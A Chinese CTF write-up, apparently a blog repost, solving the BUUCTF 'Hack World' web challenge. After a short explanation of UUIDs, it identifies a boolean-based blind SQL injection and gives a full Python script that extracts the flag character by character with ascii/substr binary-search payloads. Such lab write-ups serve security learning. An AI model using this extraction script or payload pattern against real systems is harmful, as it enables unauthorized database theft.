当前位置: 首页 > article >正文

107,【7】buuctf web [CISCN2019 华北赛区 Day2 Web1]Hack World

这次先不进入靶场

看到红框里面的话就想先看看uuid是啥

定义与概念

 

UUID 是 Universally Unique Identifier 的缩写,即通用唯一识别码。它是一种由数字和字母组成的 128 位标识符,在理论上可以保证在全球范围内的唯一性。UUID 的设计目的是让分布式系统中的所有元素都能有唯一的辨识信息,而不需要通过中央控制端来指定唯一标识符。

格式

 

UUID 的标准格式是 32 个十六进制数字,被连字符分隔成 5 个部分,形式为 xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx,其中:

 
  • xxxxxxxx 表示 8 位十六进制数字。
  • M 表示 UUID 的版本号,目前有 1 - 5 共 5 个版本。
  • N 表示 UUID 的变体(Variant),常见的有 1、2、4 等。
 

例如:550e8400-e29b-41d4-a716-446655440000

 进入靶场

害怕你看不懂,给你翻译一下

感觉很像sql注入

尝试1'

 一看到bool(false)就想到之前做过的一道题,这种布尔类型用脚本会方便很多,人为一个个输太麻烦

54,【4】BUUCTF WEB GYCTF2020Ezsqli-CSDN博客

 

  • select(flag)from(flag):从 flag 表中选择 flag 字段的值。
  • substr(..., {i}, 1):从 flag 字段的值中提取第 i 个字符。
  • ascii(...):获取该字符的 ASCII 码。
  • ascii(...) > {mid}:判断该字符的 ASCII 码是否大于 mid

 

import requests
import time

url = "http://bc228b3d-090b-4f59-b55a-31f11d9c40ce.node5.buuoj.cn:81/"
payload = {
    "id": ""
}
flag = ""

for i in range(1, 200):
    print(f"\n正在尝试获取第 {i} 个字符...")
    time.sleep(0.06)
    head = 33
    tail = 130
    mid = (head + tail) // 2

    while head < tail:
        payload["id"] = f"(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
        print(f"当前尝试的 payload: {payload}")
        try:
            res = requests.post(url, data=payload)
            res_text = res.text
            status_code = res.status_code
            print(f"请求状态码: {status_code}")

            if "Hello" in res_text:
                head = mid + 1
                print(f"响应中包含 'Hello',更新左边界为 {head}")
            else:
                tail = mid
                print(f"响应中不包含 'Hello',更新右边界为 {tail}")

            mid = (head + tail) // 2
        except requests.RequestException as e:
            print(f"请求发生错误: {e}")
            break

    if chr(mid) == " ":
        print("遇到空格,停止获取字符。")
        break

    flag += chr(mid)
    print(f"成功获取到第 {i} 个字符,当前已获取的 flag 为: {flag}")

print(f"最终获取到的 flag: {flag}")

 


http://www.kler.cn/a/533444.html

相关文章:

  • C++资源管理
  • 7 与mint库对象互转宏(macros.rs)
  • 一文速览DeepSeek-R1的本地部署——可联网、可实现本地知识库问答:包括671B满血版和各个蒸馏版的部署
  • LabVIEW微位移平台位移控制系统
  • 84-《金银花》
  • 知识管理平台在提升组织智慧与执行力方面的关键作用探讨
  • JavaScript(简称:js)
  • SQL server 创建DB Link 详解
  • 亚马逊自养号测评系统搭建的全面指南
  • (2025|ICLR,音频 LLM,蒸馏/ALLD,跨模态学习,语音质量评估,MOS)音频 LLM 可作为描述性语音质量评估器
  • 复工大吉!全面掌握淘宝API接口,助力电商业务高效重启
  • Ollama+deepseek+Docker+Open WebUI实现与AI聊天
  • can not add outlook new accounts on the outlook
  • ARM Linux Qt使用JSON-RPC实现前后台分离
  • 设计模式学习(三)
  • Unity扩展编辑器使用整理(一)
  • Vue Router如何配置404页面
  • Ansible在多台服务器上运行python脚本
  • PostgreSQL rownum实现方法
  • Spark--算子执行原理
  • 莱佛士设计之旅:四城巡讲,启发未来设计之路
  • spring security与gateway结合进行网关鉴权和授权
  • GAN(生成对抗网络,Generative Adversarial Network)
  • 【Java】MyBatis动态SQL
  • PostgreSQL / PostGIS:创建地理要素
  • 网络安全--边界安全